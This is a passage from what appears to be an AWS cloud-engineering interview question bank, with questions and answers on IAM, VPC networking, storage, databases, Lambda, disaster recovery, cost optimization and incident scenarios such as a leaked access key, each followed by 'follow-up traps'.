- The AWS SDK default credentials provider chain picks up role credentials with no code change.

FOLLOW-UP TRAPS

- **How does an on-prem job call AWS without keys?** IAM Roles Anywhere, or federation via OIDC/SAML.
- **How does GitHub Actions deploy without stored keys?** OIDC federation: it assumes a role using a short-lived token.

#iam #roles #credentials

Q8 Identity-based versus resource-based policies, and how are they evaluated together? INTERMEDIATE

Identity-based policies attach to users and roles; resource-based policies attach to the resource (S3 bucket, SQS queue, KMS key). Within one account either one allowing is enough; across accounts both sides must allow.

- Evaluation: explicit deny anywhere wins, then SCPs and permission boundaries must allow, then an allow must exist.
- Session policies can only further restrict.

FOLLOW-UP TRAPS

- **Can an SCP grant permissions?** No, it only sets the maximum available.
- **Do SCPs affect the management account?** They do not restrict the management account.

#iam #policies #evaluation

Q9 What is a VPC and what are its main components? BASIC

A VPC is your logically isolated virtual network with a CIDR range, spanning all AZs in a region. Inside it you create subnets (each in one AZ), route tables, gateways and security controls.

- Internet Gateway (IGW) for public internet access.
- NAT Gateway for outbound-only access from private subnets.
- VPC endpoints for private access to AWS services.

FOLLOW-UP TRAPS

- **Can a subnet span two AZs?** No, a subnet lives in exactly one AZ.
- **Can you change a VPC's primary CIDR?** No, but you can add secondary CIDRs.

#vpc #networking

Q10 What makes a subnet public or private? BASIC

A subnet is public if its route table has a route `0.0.0.0/0` to an Internet Gateway; otherwise it is private. Instances also need a public or Elastic IP to be reachable from the internet.

- Typical layout: load balancers in public subnets; app and database tiers in private subnets across 2-3 AZs.
- Private instances reach the internet outbound through a NAT Gateway in a public subnet.

FOLLOW-UP TRAPS

- **Does a public subnet make instances reachable?** Not without a public IP and permissive security group.
- **Is one NAT Gateway enough?** It is AZ-scoped; for HA use one per AZ.

#vpc #subnets #routing

Q11 Security groups versus network ACLs.

INTERMEDIATE

Security groups are stateful, attach to network interfaces, and only have allow rules. NACLs are stateless, attach to subnets, have numbered allow and deny rules evaluated in order.

- Stateful: return traffic is automatically allowed.
- NACLs need explicit ephemeral-port rules for responses.
- Security groups can reference other security groups, which is the preferred way to model tiers.

FOLLOW-UP TRAPS

- **Can a security group deny a specific IP?** No, use a NACL or WAF.
- **What is the default for a new security group's outbound rules?** Allow all outbound, no inbound.

#security-groups #nacl #vpc

Q12 What are VPC endpoints and why use them?

INTERMEDIATE

They let resources reach AWS services without traversing the internet or a NAT Gateway. Gateway endpoints (S3, DynamoDB) are route-table entries and free; interface endpoints (PrivateLink) are ENIs with private IPs and are billed hourly plus per GB.

- Reduces NAT data-processing cost and exposure.
- Endpoint policies can restrict which buckets or actions are reachable.

FOLLOW-UP TRAPS

- **Is an S3 gateway endpoint billed?** No.
- **Does the endpoint work across regions?** No, it reaches services in the same region.

#vpc #endpoints #privatelink

Q13 How do you connect two VPCs or a VPC to on-premises?

INTERMEDIATE

VPC peering is a point-to-point, non-transitive link. Transit Gateway is a hub for many VPCs and on-premises links. Site-to-Site VPN runs over the internet; Direct Connect is a dedicated private circuit.

- Peering requires non-overlapping CIDRs.
- PrivateLink exposes a single service instead of the whole network.

FOLLOW-UP TRAPS

- **If A peers with B and B with C, can A reach C?** No, peering is not transitive.
- **Does Direct Connect encrypt traffic?** Not by default; add a VPN or MACsec.

#vpc #peering #transit-gateway #vpn

Q14 What types of load balancers does AWS offer?

BASIC

Application Load Balancer (L7, HTTP/HTTPS, path and host routing), Network Load Balancer (L4, TCP/UDP/TLS, very high throughput, static IPs), Gateway Load Balancer (L3 for virtual appliances).

- ALB features: path/host/header routing, WebSocket, gRPC, OIDC auth, WAF integration.
- NLB preserves source IP and handles millions of requests per second with low latency.

FOLLOW-UP TRAPS

- **Which supports static Elastic IPs?** NLB (ALB IPs change; use Global Accelerator for static IPs in front).
- **Which terminates TLS and inspects paths?** ALB.

#load-balancer #alb #nlb

Q15 How do load balancer health checks and target groups work? INTERMEDIATE

A target group holds targets (instances, IPs, Lambdas). The LB probes each target on a path and port; targets failing a threshold of consecutive checks are removed from rotation until they pass again.

- Make the health endpoint cheap and reflect the ability to serve (readiness), not full dependency health.
- Tune interval, thresholds and deregistration delay (connection draining).

FOLLOW-UP TRAPS

- **Should `/health` call the database?** A deep check can cascade an outage: DB blips mark all targets unhealthy. Prefer shallow readiness plus separate alerts.
- **What if all targets are unhealthy?** ALB fails open and sends to all targets.

#load-balancer #health-checks

Q16 What is cross-zone load balancing? INTERMEDIATE

With it enabled, each LB node distributes requests across targets in all AZs; disabled, each node only sends to targets in its own AZ.

- Always on for ALB; off by default for NLB (cross-AZ data charges apply when enabled).
- Without it, uneven target counts per AZ cause uneven load.

FOLLOW-UP TRAPS

- **Any cost impact?** For NLB, inter-AZ transfer is charged.

#load-balancer #availability-zones

Q17 What is autoscaling and what scaling policies exist? BASIC

Autoscaling adjusts capacity to demand. EC2 Auto Scaling groups support target tracking (keep a metric near a value), step scaling, scheduled scaling and predictive scaling.

- Target tracking on average CPU or `RequestCountPerTarget` is the simplest start.
- Set min, desired and max; spread across AZs.
- Cooldowns and warm-up prevent flapping.

FOLLOW-UP TRAPS

- **Is CPU the right metric for a Java service?** Often request count or queue depth is better; JVM warm-up and GC distort CPU.
- **Does max capacity protect the bill?** Yes, it is the cap on both scale-out and cost.

#autoscaling #ec2

Q18 Horizontal versus vertical scaling. BASIC

Vertical scaling makes one machine bigger; horizontal scaling adds more machines. Horizontal needs stateless services and gives fault tolerance; vertical is simple but capped and usually needs a restart.

FOLLOW-UP TRAPS

- **Which scales a relational primary write path?** Mostly vertical; reads scale horizontally via replicas.
- **Can you scale horizontally with in-memory sessions?** Only with sticky sessions or an external session store; prefer the store.

#scaling #horizontal #vertical

Q19 Compare object, block and file storage. BASIC

Object (S3): flat key-addressed blobs over HTTP, virtually unlimited, eventually durable at 11 nines. Block (EBS): raw volumes attached to one instance, low latency, for databases and boot disks. File (EFS/FSx): shared

POSIX or SMB file systems mounted by many hosts.

FOLLOW-UP TRAPS

- **Can EBS be shared by many instances?** Generally one instance at a time (io2 Multi-Attach is a narrow exception).
- **Is S3 a file system?** No; there are no real directories and no in-place partial updates.

#storage #s3 #ebs #efs

Q20 What are S3 consistency, durability and storage classes? INTERMEDIATE

S3 offers strong read-after-write consistency for all operations since December 2020. Standard stores data across at least three AZs with 99.999999999% durability.

- Classes: Standard, Intelligent-Tiering, Standard-IA, One Zone-IA, Glacier Instant/Flexible/Deep Archive.
- Lifecycle rules transition or expire objects automatically.
- Versioning and Object Lock protect against deletes and overwrites.

FOLLOW-UP TRAPS

- **Is durability the same as availability?** No; Standard is 99.99% available, durability is about not losing data.
- **Is One Zone-IA resilient to AZ loss?** No.

#s3 #durability #storage-classes

Q21 How do you secure an S3 bucket? INTERMEDIATE

Enable Block Public Access at account level, use bucket policies with least privilege, enforce TLS, encrypt with SSE-S3 or SSE-KMS, and enable access logging and versioning.

- Share content with presigned URLs or CloudFront Origin Access Control instead of making objects public.
- Use VPC endpoint policies to constrain access paths.

FOLLOW-UP TRAPS

- **Is a presigned URL revocable?** Not individually; it expires or you revoke the signer's permissions.
- **Is S3 encrypted by default?** Yes, SSE-S3 is applied to new objects by default since January 2023.

#s3 #security

Q22 EBS volume types and when to pick each. INTERMEDIATE

`gp3` is the general default with baseline 3,000 IOPS and 125 MB/s adjustable independent of size; `io2` is for latency-sensitive databases with provisioned IOPS; `st1` / `sc1` are HDD for throughput and cold data.

- EBS is AZ-bound; snapshots go to S3 and can restore in another AZ or region.

FOLLOW-UP TRAPS

- **Is gp3 cheaper than gp2?** Usually, about 20% per GB, and IOPS are decoupled from size.
- **Does instance type limit EBS throughput?** Yes, each instance has its own EBS bandwidth cap.

#ebs #storage #performance

Q23 What is a managed database service and what does it do for you? BASIC

A managed database (RDS, Aurora, DynamoDB) automates provisioning, patching, backups, failover and monitoring. You still own schema design, indexing, queries, capacity choices and access control.

- RDS supports PostgreSQL, MySQL, MariaDB, Oracle, SQL Server; Aurora is a cloud-native MySQL/PostgreSQL-compatible engine.
- Limitations: no OS access, restricted superuser, constrained parameters.

FOLLOW-UP TRAPS

- **Does managed mean no tuning?** No, bad queries still hurt.
- **Can you SSH into RDS?** No.

#rds #managed-database

Q24 How do RDS Multi-AZ and read replicas differ?

INTERMEDIATE

Multi-AZ is for availability: a synchronous standby in another AZ with automatic failover, not readable (in the classic single-standby setup). Read replicas are for read scaling: asynchronous, readable, can be cross-region, and promotable manually.

- Failover typically takes 60-120 seconds and the endpoint DNS flips.
- Replica lag means stale reads.

FOLLOW-UP TRAPS

- **Does Multi-AZ increase read throughput?** Not in single-standby mode.
- **Does the app need a new connection string after failover?** No, but it must reconnect and handle DNS caching (short JVM DNS TTL).

#rds #multi-az #read-replica

Q25 How does Aurora differ from standard RDS?

INTERMEDIATE

Aurora separates compute from a distributed storage layer that keeps six copies across three AZs, auto-grows to 128 TiB, and supports up to 15 low-lag replicas that share the same storage.

- Faster failover (typically under 30 seconds) as replicas share storage.
- Aurora Serverless v2 scales compute in fine increments.
- Aurora Global Database replicates across regions with typically sub-second lag.

FOLLOW-UP TRAPS

- **Is Aurora always cheaper?** No; I/O charges and instance cost can exceed RDS for steady small workloads.

#aurora #rds

Q26 When pick DynamoDB over a relational database?

INTERMEDIATE

Pick DynamoDB for known access patterns, massive scale, single-digit-millisecond latency and minimal operations. Pick relational for ad hoc queries, joins and complex transactions.

- Design keys from access patterns; a poor partition key causes hot partitions.
- On-demand mode bills per request; provisioned mode with autoscaling is cheaper for steady load.
- Global tables give multi-region active-active replication.

FOLLOW-UP TRAPS

- **Can DynamoDB do joins?** No; denormalize or use multiple queries.
- **Does Scan scale?** It reads the whole table and costs accordingly; avoid in hot paths.

#dynamodb #nosql

Q27 SQS versus SNS versus Kinesis (or MSK).

INTERMEDIATE

SQS is a queue: one consumer group pulls and deletes each message. SNS is pub/sub push to many subscribers. Kinesis/MSK are ordered, replayable streams where consumers track their position.

- Fan-out pattern: SNS topic to several SQS queues.
- Streams support replay and multiple independent readers; queues do not retain after delete.

FOLLOW-UP TRAPS

- **Is SQS Standard ordered?** No, it is best-effort ordering and at-least-once; FIFO queues give ordering per message group.
- **Can SQS replay?** No.

#sqs #sns #kinesis #messaging

Q28 How does SQS visibility timeout and a dead-letter queue work? INTERMEDIATE

When a consumer receives a message it becomes invisible for the visibility timeout. If not deleted before it expires, the message reappears. After `maxReceiveCount` failed receives it moves to the DLQ.

- Set the timeout above the processing time (Lambda: at least 6x function timeout).
- Alarm on DLQ depth; redrive after fixing the bug.

FOLLOW-UP TRAPS

- **What if processing outlasts the timeout?** Duplicate processing; make consumers idempotent.
- **Does SQS guarantee exactly-once?** Only FIFO with deduplication within a 5-minute window; design for idempotency anyway.

#sqs #dlq #visibility-timeout

Q29 What is serverless computing and what are its trade-offs? BASIC

Serverless means no server management, automatic scaling (including to zero) and pay-per-use pricing. Trade-offs: cold starts, execution limits (Lambda 15 minutes), vendor coupling, harder local debugging, and cost surprises at steady high volume.

FOLLOW-UP TRAPS

- **Are there servers?** Yes, you just do not manage them.
- **Is serverless always cheaper?** No; a constantly busy service is usually cheaper on containers or instances.

#serverless #lambda

Q30 What is a Lambda cold start? BASIC

A cold start is the extra latency when Lambda must create a new execution environment: download code, start the runtime, and run initialization before the handler. Later invocations reuse the warm environment.

- Phases: environment creation, runtime init, your static/init code, then the handler.
- Cold start impact is rare in steady traffic but visible after idle periods or scale-out bursts.

FOLLOW-UP TRAPS

- **Does every request see a cold start?** No, only the first one per new environment.
- **Is the init phase billed?** Yes, init duration is now billed for managed runtimes too.

#lambda #cold-start

Q31 Why are Java Lambda cold starts slow and how do you reduce them? INTERMEDIATE

JVM startup, class loading, JIT warm-up and framework initialization (reflection, classpath scanning, DI) dominate. Typical Spring Boot cold starts are several seconds.

- Use lightweight frameworks or functional approaches; avoid classpath scanning.
- Shrink the jar; lazy-initialize SDK clients but build them outside the handler.
- Use SnapStart, provisioned concurrency, or GraalVM native image.
- More memory means more CPU and faster init.
- Prefer `UrlConnection`/CRT HTTP clients over heavy defaults.

FOLLOW-UP TRAPS

- **Does more memory cost more?** Per ms yes, but shorter runtime can make it cheaper overall; measure with power tuning.

#lambda #java #cold-start

Q32 What is Lambda SnapStart? INTERMEDIATE

SnapStart takes an encrypted snapshot of the initialized execution environment (memory and disk state) when you publish a version, and resumes new environments from that snapshot instead of initializing from scratch. It supports Java 11+ managed runtimes and cuts cold starts often by up to 10x.

- Works on published versions or aliases, not `$LATEST`.
- Uniqueness issues: random seeds, unique IDs, and network connections created during init may be duplicated or stale after restore.
- CRaC runtime hooks (`beforeCheckpoint`, `afterRestore`) let you refresh state.

FOLLOW-UP TRAPS

- **Is it compatible with provisioned concurrency?** No, you choose one.
- **Does it help EFS or ephemeral storage over 512 MB?** Not supported with those configurations.

#lambda #snapstart #java

Q33 Provisioned concurrency versus reserved concurrency. INTERMEDIATE

Provisioned concurrency keeps N environments initialized and warm (costs money continuously, removes cold starts for that capacity). Reserved concurrency carves out a guaranteed and maximum concurrency for a function from the account pool (free).

- Reserved acts as both a guarantee and a throttle cap, useful to protect a downstream database.
- Account default concurrency limit is 1,000 per region (can be raised).

FOLLOW-UP TRAPS

- **Does reserved concurrency avoid cold starts?** No.
- **What happens beyond provisioned capacity?** It spills to on-demand environments with cold starts.

#lambda #concurrency

Q34 How does Lambda scale and what limits matter? INTERMEDIATE

Each concurrent request gets its own environment; Lambda adds environments quickly (burst of up to 1,000 per 10 seconds per function) until the account or reserved limit.

- Limits: 15-minute timeout, 10 GB memory, 6 MB sync payload, 250 MB unzipped package (10 GB for container images).
- Throttled sync calls return 429; async ones are retried by Lambda.

FOLLOW-UP TRAPS

- **What does Lambda do to a database at scale?** It can exhaust connections; use RDS Proxy or limit concurrency.
- **Is the 15-minute limit configurable?** No, it is a hard cap.

#lambda #scaling #limits

Q35 What are the twelve-factor app principles most relevant to cloud services? BASIC

Twelve-factor is a methodology for portable, scalable apps. Key factors: one codebase per app, explicit dependencies, config in the environment, backing services as attached resources, strict build/release/run

separation, stateless processes, port binding, concurrency via processes, disposability, dev/prod parity, logs as event streams, admin tasks as one-off processes.

> **FOLLOW-UP TRAPS**
> - **Where should config live?** In environment variables or a config service, never in the artifact.
> - **Can a twelve-factor app write local files?** Only as scratch; durable state goes to backing services.

#twelve-factor

Q36 **Why must cloud services be stateless, and where does state go?** BASIC

Instances are created, replaced and terminated at any time, so no instance may hold unique state. Put sessions in Redis/ElastiCache or use signed tokens, files in S3, data in a managed database, and work items in queues.

> **FOLLOW-UP TRAPS**
> - **Are sticky sessions acceptable?** They are a workaround; scale-in or failure still loses the session.
> - **Is a local cache stateful?** Only if correctness depends on it; a read-through cache is fine.

#stateless #twelve-factor

Q37 **Containers versus virtual machines.** BASIC

VMs virtualize hardware and each run a full guest OS under a hypervisor; containers share the host kernel and isolate processes with namespaces and cgroups. Containers start in seconds, are lighter and denser; VMs give stronger isolation.

- Firecracker microVMs (Lambda, Fargate) combine VM isolation with container-like startup.
- Containers must match the host kernel family (Linux containers need a Linux kernel).

> **FOLLOW-UP TRAPS**
> - **Are containers secure sandboxes?** A kernel exploit can escape; untrusted multi-tenant code needs microVMs or gVisor.
> - **Does a container hold an OS?** Only user-space files, not a kernel.

#containers #vm

Q38 **ECS, EKS, Fargate and EC2: how do they relate?** INTERMEDIATE

ECS and EKS are orchestrators (AWS-native and managed Kubernetes). EC2 and Fargate are the compute they run on: EC2 means you manage the nodes, Fargate is serverless per-task compute.

- Fargate: no node patching, per-vCPU/GB-second billing, slower scaling than warm nodes, no privileged containers or host access.
- EKS adds portability and the Kubernetes ecosystem at the cost of operational complexity and a control-plane fee.

> **FOLLOW-UP TRAPS**
> - **Is Fargate cheaper than EC2?** Not at steady high utilization; convenience has a premium.

#ecs #eks #fargate #containers

Q39 **How should a Java application be sized and tuned for containers?** INTERMEDIATE

Modern JVMs (Java 10+, 8u191+) are container-aware and size heap from the cgroup limit. Set `-XX:MaxRAMPercentage` (for example 70-75) to leave room for metaspace, thread stacks and native memory.

- Memory limit must cover heap plus non-heap; otherwise the OOM killer terminates the container (exit code 137).
- CPU limits below 1 core make the JVM pick the serial GC and 1 compiler thread.

- Use layered or jlink-trimmed images and graceful shutdown to handle SIGTERM.

FOLLOW-UP TRAPS

- **Is `-Xmx` equal to container memory?** No, that guarantees OOM kills.
- **What is the default max heap in a container?** 25% of the container memory limit.

#java #containers #jvm

Q40 What are RTO and RPO? BASIC

RTO (Recovery Time Objective) is the maximum acceptable time to restore service. RPO (Recovery Point Objective) is the maximum acceptable data loss measured in time.

- RPO of 5 minutes means backups or replication must be no more than 5 minutes behind.
- Tighter targets cost more.

FOLLOW-UP TRAPS

- **Does Multi-AZ give RPO 0?** For synchronous replication within a region, effectively yes; it does not cover regional loss or logical corruption.
- **Are RTO and RPO technical-only decisions?** No, the business sets them from impact and cost.

#disaster-recovery #rto #rpo

Q41 Describe the four AWS disaster recovery strategies. INTERMEDIATE

From cheapest and slowest to most expensive and fastest: backup and restore (hours), pilot light (core data replicated, compute off, tens of minutes), warm standby (scaled-down full stack running, minutes), multi-site active/active (near zero).

FOLLOW-UP TRAPS

- **Which is pilot light versus warm standby?** Pilot light has only data and minimal core services; warm standby serves traffic at reduced capacity.
- **Is a backup that has never been restored a plan?** No; test restores regularly.

#disaster-recovery #backup-restore #pilot-light

Q42 What is high availability and how do you compute it? BASIC

HA means the system keeps serving despite component failure, achieved by removing single points of failure through redundancy across AZs. Availability = uptime / total time; 99.9% allows about 43 minutes of downtime a month, 99.99% about 4.3 minutes.

- Serial dependencies multiply availability: two 99.9% services in series give about 99.8%.
- Parallel redundancy raises it.

FOLLOW-UP TRAPS

- **Does a 99.99% provider SLA make your app 99.99%?** No, your own design and dependencies bound it.
- **Is an SLA the same as an SLO?** An SLA is a contract with penalties; an SLO is an internal target.

#high-availability #sla

Q43 When is a multi-region architecture justified? ADVANCED

For regional-outage tolerance beyond what AZs give, strict RTO/RPO, data-residency partitioning, or global low latency. It adds major cost and complexity: data replication, conflict resolution, routing and operations.

- Patterns: active/passive with Route 53 failover; active/active with latency routing and global tables or Aurora Global Database.
- Active/active needs a strategy for write conflicts (last-writer-wins, regional ownership of data).

FOLLOW-UP TRAPS

- **Is multi-AZ enough for most apps?** Yes, regional failures are rare; many teams do not need multi-region.
- **Does Route 53 failover work if the control plane is down?** Rely on data-plane health checks and pre-provisioned records, not on making changes during the event.

#multi-region #high-availability

Q44 How does Route 53 route traffic?

INTERMEDIATE

Route 53 supports simple, weighted, latency-based, geolocation, geoproximity, failover and multivalue routing, driven by optional health checks.

- DNS-based failover is bounded by TTL and client caching.
- Alias records point to AWS resources at the zone apex with no extra query charge.

FOLLOW-UP TRAPS

- **Can a CNAME exist at the zone apex?** No, use an alias record.
- **Does the JVM respect DNS TTL?** By default it caches successful lookups per `networkaddress.cache.ttl` (30 seconds without a security manager); set it low for failover-sensitive clients.

#route53 #dns #routing

Q45 What is a CDN and when do you use CloudFront?

BASIC

A CDN caches content at edge locations close to users, cutting latency and origin load. CloudFront fronts S3, ALB or custom origins, terminates TLS at the edge and integrates with WAF and Shield.

- Control caching with `Cache-Control` headers and cache policies; invalidate sparingly.
- Versioned file names avoid invalidation.

FOLLOW-UP TRAPS

- **Can a CDN accelerate dynamic APIs?** Yes, via persistent connections and the AWS backbone, even without caching.

#cdn #cloudfront #caching

Q46 What are the three pillars of observability?

BASIC

Metrics (aggregated numbers over time), logs (discrete events) and traces (a request's path across services). Together they answer what is wrong, why, and where.

- AWS: CloudWatch Metrics/Logs/Alarms, X-Ray or OpenTelemetry (ADOT), and CloudTrail for API audit.
- Emit structured JSON logs with a correlation or trace ID.

FOLLOW-UP TRAPS

- **Is monitoring the same as observability?** Monitoring checks known failure modes; observability lets you ask new questions of the data.
- **Is CloudTrail an application log?** No, it records AWS API calls.

#observability #logs #metrics #traces

Q47 What should you alert on, and what are the golden signals?

INTERMEDIATE

Alert on symptoms that affect users, not every cause. The four golden signals: latency, traffic, errors and saturation.

- Alert on SLO burn rate rather than a raw CPU threshold.
- Use percentiles (p95, p99), not averages, for latency.
- Every alert needs an owner and a runbook.

FOLLOW-UP TRAPS

- **Why not alert on average latency?** Averages hide tail latency that real users feel.
- **Is high CPU always an incident?** No; if latency and errors are fine it is a capacity signal, not a page.

#observability #alerting #slo

Q48 How should application configuration and secrets be managed?

INTERMEDIATE

Keep config outside the artifact (environment variables, SSM Parameter Store, AppConfig) and secrets in a secret store (AWS Secrets Manager) encrypted by KMS, fetched at runtime via IAM roles.

- Secrets Manager supports automatic rotation (RDS integration); Parameter Store is cheaper and fine for plain config and SecureString.
- Never commit secrets, bake them into images, or print them in logs.

FOLLOW-UP TRAPS

- **Are environment variables a safe place for secrets?** Visible in process listings, crash dumps and console config; a store with audit logging is better.
- **How does a long-running Java app pick up a rotated secret?** Cache with a short TTL or refresh on authentication failure.

#config #secrets #secrets-manager

Q49 What is KMS and how does envelope encryption work?

INTERMEDIATE

KMS manages encryption keys in HSM-backed storage. Envelope encryption generates a data key per object, encrypts the data locally with it, then encrypts the data key with a KMS key and stores both together.

- Avoids sending large data to KMS (which caps direct encrypt at 4 KB).
- Key policies and grants control use; every use is logged in CloudTrail.

FOLLOW-UP TRAPS

- **Does KMS see your plaintext data?** No, only data keys.
- **What if the KMS key is deleted?** Data is permanently unrecoverable after the waiting period (7-30 days).

#kms #encryption

Q50 What is Infrastructure as Code and why does it matter?

BASIC

IaC defines infrastructure in versioned declarative files (CloudFormation, CDK, Terraform) so environments are reproducible, reviewable and auditable.

- Prevents configuration drift and manual console changes.
- State handling: Terraform state must be stored remotely with locking; CloudFormation tracks state in stacks.

FOLLOW-UP TRAPS

- **What is drift?** Actual resources diverging from the template; detect it and reconcile.
- **Should you commit Terraform state?** No, it can hold secrets; use a remote encrypted backend.

#iac #cloudformation #terraform

Q51 How do you approach cloud cost optimization?

INTERMEDIATE

Make cost visible, remove waste, right-size, then commit. Tag resources, use Cost Explorer and budgets, delete idle resources, pick right instance sizes, then buy Savings Plans or Reserved Instances for stable baseline.

- Spot instances give up to ~90% discount for interruptible work.

- Use S3 lifecycle and Intelligent-Tiering, gp3 volumes, Graviton (arm64) instances for better price-performance.
- Reduce data transfer: VPC endpoints, same-AZ traffic, CDN.

FOLLOW-UP TRAPS

- **Do Savings Plans reduce usage?** No, they only discount committed spend; waste still wastes.
- **Is Spot suitable for a stateful primary DB?** No.

#cost-optimization #finops

Q52 On-demand, Reserved/Savings Plans and Spot: how do you mix them? INTERMEDIATE

Cover the steady baseline with Savings Plans or Reserved Instances, handle variable load on-demand, and run fault-tolerant batch or stateless workers on Spot.

- Spot gets a two-minute interruption notice; handle it with checkpointing and diversified instance pools.
- Compute Savings Plans apply across EC2, Fargate and Lambda.

FOLLOW-UP TRAPS

- **Can a web tier use Spot?** Yes, mixed with on-demand in an ASG and behind a load balancer.

#cost-optimization #spot #savings-plans

Q53 What are the main sources of hidden cloud costs? INTERMEDIATE

Data transfer (egress to internet, cross-AZ, cross-region), NAT Gateway per-GB processing, unattached EBS volumes and old snapshots, idle load balancers, over-verbose CloudWatch logs, and API request charges.

FOLLOW-UP TRAPS

- **Is inbound data transfer charged?** Generally free; egress is charged.
- **Why can NAT cost exceed the compute?** All outbound traffic including S3 and ECR pulls passes through it per GB unless endpoints exist.

#cost-optimization #data-transfer

Q54 What is the Well-Architected Framework? BASIC

AWS's guidance organized in six pillars: operational excellence, security, reliability, performance efficiency, cost optimization and sustainability, used for design reviews and trade-off discussions.

FOLLOW-UP TRAPS

- **Can you maximize all pillars?** No, they trade off (for example reliability versus cost).

#well-architected #design

Q55 What are API Gateway and its role in serverless APIs? INTERMEDIATE

API Gateway is a managed front door that handles routing, auth (IAM, Cognito, JWT, Lambda authorizers), throttling, request validation and caching for REST, HTTP and WebSocket APIs.

- HTTP APIs are cheaper and faster than REST APIs but have fewer features.
- Synchronous integration timeout is 29 seconds by default for REST APIs.

FOLLOW-UP TRAPS

- **Can a Lambda behind API Gateway run 5 minutes?** Not synchronously; use async patterns.

#api-gateway #serverless

Q56 **What is the difference between synchronous and asynchronous integration, and why prefer async in the cloud?** INTERMEDIATE

Synchronous calls couple caller availability and latency to the callee; asynchronous messaging buffers work in a queue, absorbs spikes and lets each side scale and fail independently.

- Needs idempotent consumers, retry with backoff and DLQs.
- Trade-off: eventual consistency and harder end-to-end tracing.

> **FOLLOW-UP TRAPS**
> - **Does a queue make a slow consumer faster?** No, it only protects the producer and smooths load.

#async #decoupling #resilience

Q57 **What are retries, timeouts, backoff and circuit breakers for in cloud calls?** INTERMEDIATE

Cloud calls fail transiently. Use bounded timeouts, retry only idempotent operations with exponential backoff plus jitter, and trip a circuit breaker to stop hammering a failing dependency.

- Retries multiply load (retry storms); cap attempts and budget retries.
- AWS SDK v2 has built-in retry policies with backoff.

> **FOLLOW-UP TRAPS**
> - **Why jitter?** Without it, clients retry in synchronized waves.
> - **Can you retry a POST payment safely?** Only with an idempotency key.

#resilience #retry #circuit-breaker

Q58 **What are the common deployment strategies in the cloud?** INTERMEDIATE

Rolling (replace instances gradually), blue/green (a full new environment, switch traffic), canary (a small percentage first, then ramp), and feature flags to decouple deploy from release.

- Blue/green gives instant rollback but doubles capacity temporarily.
- Database changes must be backward compatible (expand/contract) so old and new code coexist.

> **FOLLOW-UP TRAPS**
> - **What breaks rollback?** Irreversible schema migrations.

#deployment #blue-green #canary

Q59 **What is the difference between elasticity and scalability?** BASIC

Scalability is the ability to handle more load by adding resources; elasticity is doing so automatically and also releasing them when demand drops, so you pay only for what you use.

> **FOLLOW-UP TRAPS**
> - **Is an over-provisioned fixed fleet elastic?** No.

#elasticity #scalability

Q60 **What is multi-tenancy and what isolation options exist?** ADVANCED

Multi-tenancy serves many customers on shared infrastructure. Models: silo (account or stack per tenant), pool (shared resources with a tenant ID), or bridge (mix).

- Pool is cheapest but needs strict row-level access control and noisy-neighbor controls such as per-tenant throttling and quotas.
- Silo gives stronger blast-radius and compliance isolation at higher cost.

FOLLOW-UP TRAPS

- **Is a tenant ID filter in the query enough?** One missed filter leaks data; enforce at a lower layer (row-level security, scoped credentials).

#multi-tenancy #isolation

Q61 Why use multiple AWS accounts and what is AWS Organizations?

INTERMEDIATE

An account is the strongest isolation boundary for permissions, quotas and billing. Organizations groups accounts, gives consolidated billing, and applies Service Control Policies as guardrails.

- Typical split: prod, non-prod, shared services, logging/security.
- Limits and service quotas are per account, which also contains blast radius.

FOLLOW-UP TRAPS

- **Do SCPs grant permissions?** No, they only cap them.

#organizations #accounts #governance

Scenarios

Q62 One Availability Zone has an outage. What happens to your service and what should you check?

INTERMEDIATE

If the service runs in at least two AZs behind a load balancer, health checks drain the failed AZ's targets and traffic shifts to survivors; the Auto Scaling group launches replacements in healthy AZs. A single-AZ deployment goes down.

- Check: capacity headroom (survivors must absorb the extra load, so run N+1 AZ capacity), RDS Multi-AZ failover, single-AZ resources (NAT Gateway, EBS volumes, One Zone caches).
- Do not fail over manually before verifying health checks and metrics.

FOLLOW-UP TRAPS

- **With 2 AZs at 60% CPU each, are you safe?** No, one AZ then needs 120%; keep each below ~50% or use 3 AZs.
- **Does the ASG rebalance back automatically?** Yes, after recovery it rebalances, which launches and terminates instances.

#outage #availability-zones #high-availability

Q63 The AZ failure is real but the database stays in the dead AZ. Why might that happen?

ADVANCED

The database was deployed Single-AZ, or Multi-AZ failover is delayed or blocked. Single-AZ RDS has no standby, so recovery needs a restore from snapshot in another AZ.

- Multi-AZ failover takes a minute or two and the app must reconnect; stale pooled connections and cached DNS prolong the outage.
- Mitigate with Multi-AZ enabled, connection validation and retry in the pool, and a short DNS TTL in the JVM.

FOLLOW-UP TRAPS

- **Does the endpoint change after failover?** The DNS name stays the same but resolves to the new primary.
- **Why do connections hang for minutes?** Dead TCP connections need socket timeouts and pool validation to be detected.

#outage #rds #multi-az

Q64 Your monthly AWS bill tripled overnight. How do you investigate?

INTERMEDIATE

Use Cost Explorer grouped by service, then by usage type, account, region and tag, comparing day over day to find the spike. Then drill down in CloudTrail and resource listings to identify who created what.

- Common causes: leaked access keys mining crypto in an unused region, NAT/data transfer from a loop, runaway Lambda recursion, unbounded logs, forgotten large instances or snapshots.
- Contain first: disable the keys, stop resources; then fix and add guardrails.

FOLLOW-UP TRAPS

- **Why check other regions?** Attackers launch resources in regions you never use.
- **Does Cost Explorer show real-time data?** It lags by up to a day; use Budgets alerts and Cost Anomaly Detection.

#runaway-bill #cost #incident

Q65 A Lambda triggered by S3 writes back to the same bucket and the bill explodes. What happened?

INTERMEDIATE

An infinite trigger loop: each output object fires a new invocation which writes another object. Concurrency and cost grow until throttled.

- Fix: write to a different bucket or prefix and use prefix/suffix filters on the notification.
- Set reserved concurrency to cap blast radius; Lambda also detects some recursive SQS/SNS/Lambda loops and stops them.
- Add a billing alarm and anomaly detection.

FOLLOW-UP TRAPS

- **Is a prefix filter always enough?** Only if the output prefix does not overlap the trigger prefix.

#runaway-bill #lambda #s3 #recursion

Q66 A leaked AWS access key was found in a public repository. What do you do?

INTERMEDIATE

Deactivate the key immediately (not just delete, so you can audit), review CloudTrail for its activity, revoke active sessions via a deny policy keyed on `aws:TokenIssueTime`, remove unauthorized resources, then rotate and move the workload to roles.

- Removing the commit from git history is not enough; assume it was scraped.
- Enable secret scanning and pre-commit hooks.

FOLLOW-UP TRAPS

- **Is rotating the key enough?** No, check for persistence such as new users, roles or access keys created by the attacker.
- **Do role sessions issued with the stolen key die with it?** No, they stay valid until expiry unless revoked.

#security #incident #credentials

Q67 A noisy neighbor slows your service on a shared instance. How do you detect and fix it?

INTERMEDIATE

Symptoms: latency spikes without matching load, high CPU steal time, or throttled I/O. Check `%steal` in `top`, burstable credit balance, and EBS queue length.

